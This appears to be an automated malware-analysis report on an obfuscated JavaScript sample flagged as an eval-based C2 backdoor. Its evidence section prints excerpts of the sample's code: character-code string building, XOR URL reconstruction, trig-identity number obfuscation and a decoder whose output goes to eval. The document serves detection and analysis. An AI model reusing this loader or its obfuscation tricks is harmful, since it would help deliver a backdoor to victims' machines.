Suspicious ^80% javascript-malware-collection Download

20151217_892bad08bfb08c1cf95e3707d97ee680.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256ce4528bba4f20573f6c4d1d2bea9003600a8b2a0c61db01bcb9bfca341548d20

Evidence

Builds characters with String.fromCharCode line 2

2:158… 'b',')','z',')','R','S','Z',')','@','R','E','Z','O','!','[','(',String.fromCharCode(10),'5','4','L','4','@','h','G','S','e','`','a','`','"','e',' ',String.fromCharCode(13),'"','+','U','7','y','F',']','p','z','Y' …

XOR URL reconstruction call line 2

2:770… 'u','$','T','"','W','v','N','%','l','C','X','p','&','9','u','"',String.fromCharCode(39),'&','[','%','E','y','S','*','(','A','z','v','I',')','*','S','Q','^','6','o','e','h','>','+',',','1','-','1','9','"','-','(','_','V','X','m','f','9','.','/','H',')','o','<','T','A','0','/',')','X …

Calls JavaScript toString conversion method lines 4–10

4:44… PEYbWa){rfOP=otoctLDVUkBGVRJYy(iEOiEQaThWr,xLGeUAdCQnhSj);fYhdT=rfOP.toString(ghPEYbWa);return fYhdT;}
5function prvGfiGMcvmjHLY(WYdAYAUUjTcHSLwAi,IIXxEmmTvmLKQrJbtqKexlueGvJxqxTsWc,AOYNDHcwvzzvtopavKNRtDuahSMaItIYshi){eval(WYdAYAUUjTcHSLwAi);}
6function eotCJjgLxQiZQlSVnaWqUeJVThYRrNRehflcdNFGMccEhPAICVwaHG(PPMtnuEfnlsHO,jALFosXOjjXJOB){ return PRmsAtU[wpKebuYa[PTKNC(PPMtnuEfnlsHO[jALFosXOjjXJOB],(463+125)/21,(7032+178)/721)]];}
7function HqFWNwR(euGPHAYBncaHCUbdByXdAquEFbgfCwYOXSWU) {return !qdRIfEISaQe(RSNPyzcLTZoMuoR(euGPHAYBncaHCUbdByXdAquEFbgfCwYOXSWU)) && KfRqxjoRFLYd(euGPHAYBncaHCUbdByXdAquEFbgfCwYOXSWU);}
8function qdRIfEISaQe(fEYDNDazGAQXlf) {return isNaN(fEYDNDazGAQXlf);}
9function KfRqxjoRFLYd(nfEJYRozYHOHq) {return isFinite(nfEJYRozYHOHq);}
10function otoctLDVUkBGVRJYy(iGBjE …

Dense indexed short-token grid lines 12–13

12:33… xDfmsAD,FkxQjubGjfp) {SrtSsIvDgwEqIj[OmVRDOxDfmsAD]=FkxQjubGjfp;}
13var X = new Array();X[0]=[];X[0][0]='d';X[0][1]='a';X[0][2]='d';X[0][3]='a';X[0][4]='46';X[0][5]='3d';X[0][6]='42';X[0][7]='14';X[0][8]='3h';X[0][9]='14';X[0][10]='25';X[0][11]='14';X[0][12]='16';X[0][13]='47';X[0][14]='3k';X[0][15]='3d';X[0][16]='44';X[0][17]='3g';X[0][18]='3l';X[0][19]='3g';X[0][20]='49';X[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],X[4],X[5]];
20var eAAwUXftc=[];
21function flImGuYzTohISePRl(DwjtL){QSbNjZumMqI= '';RXLzFoheNtD=Math.round((Math.pow(Math.sin(203), 2) + Math.pow(Math.cos(203), 2) - 1));while(true){if (RXLzFoheNtD >= (2558+970)/588){break;}eAAwUXftc[RXLzFoheNtD]=Math.round((Math.pow(Math.sin(345), 2) + Math.pow(Math.cos(345), 2) - 1)); while(true) { if(eAAwUXftc[RXLzFoheNtD] > DwjtL[RXLzFoheNtD].length-(638+292)/930) { break; } if (HqFWNwR(PTKNC(DwjtL[RXLzFoheNtD][eAAwUXftc[RXLzFoheNtD]],(19966+110)/717,(4+186)/19))) {QSbNjZumMqI += eotCJjgLxQiZQlSVnaWqUeJVThYRrNRehflcdNFGMccEhPAICVwaHG([DwjtL[RXLzFoheNtD][eAAwUXftc[RXLzFoheNtD]]], Math.round((Math.pow(Math.sin(600), 2) + Math.pow(Math.cos(600), 2) - 1)));} eAAwUXftc[RXLzFoheNtD]++;}RXLzFoheNtD++;} return QSbNjZumMqI}
22var AIZZQZCgoHCgcNlzpHQyfgWPQrXeUMwyU = 'bfdGDtGSkRNoqGjEoyRlmmtnJBSQqgcRbFNi';var UHIhyhitlKXZnCJvpUHWadbtjQDrRriL = 'qeGGxEkVyNXiJtNbGRnKAkCpAGliOmcfQsZA';prvGfiGMcvmjHLY(flImGuYzTohISePRl(DwjtL),AIZZQZCgoHCgcNlzpHQyfgWPQrXeUMwyU,UHIhyhitlKXZnCJvpUHWadbtjQDrRriL);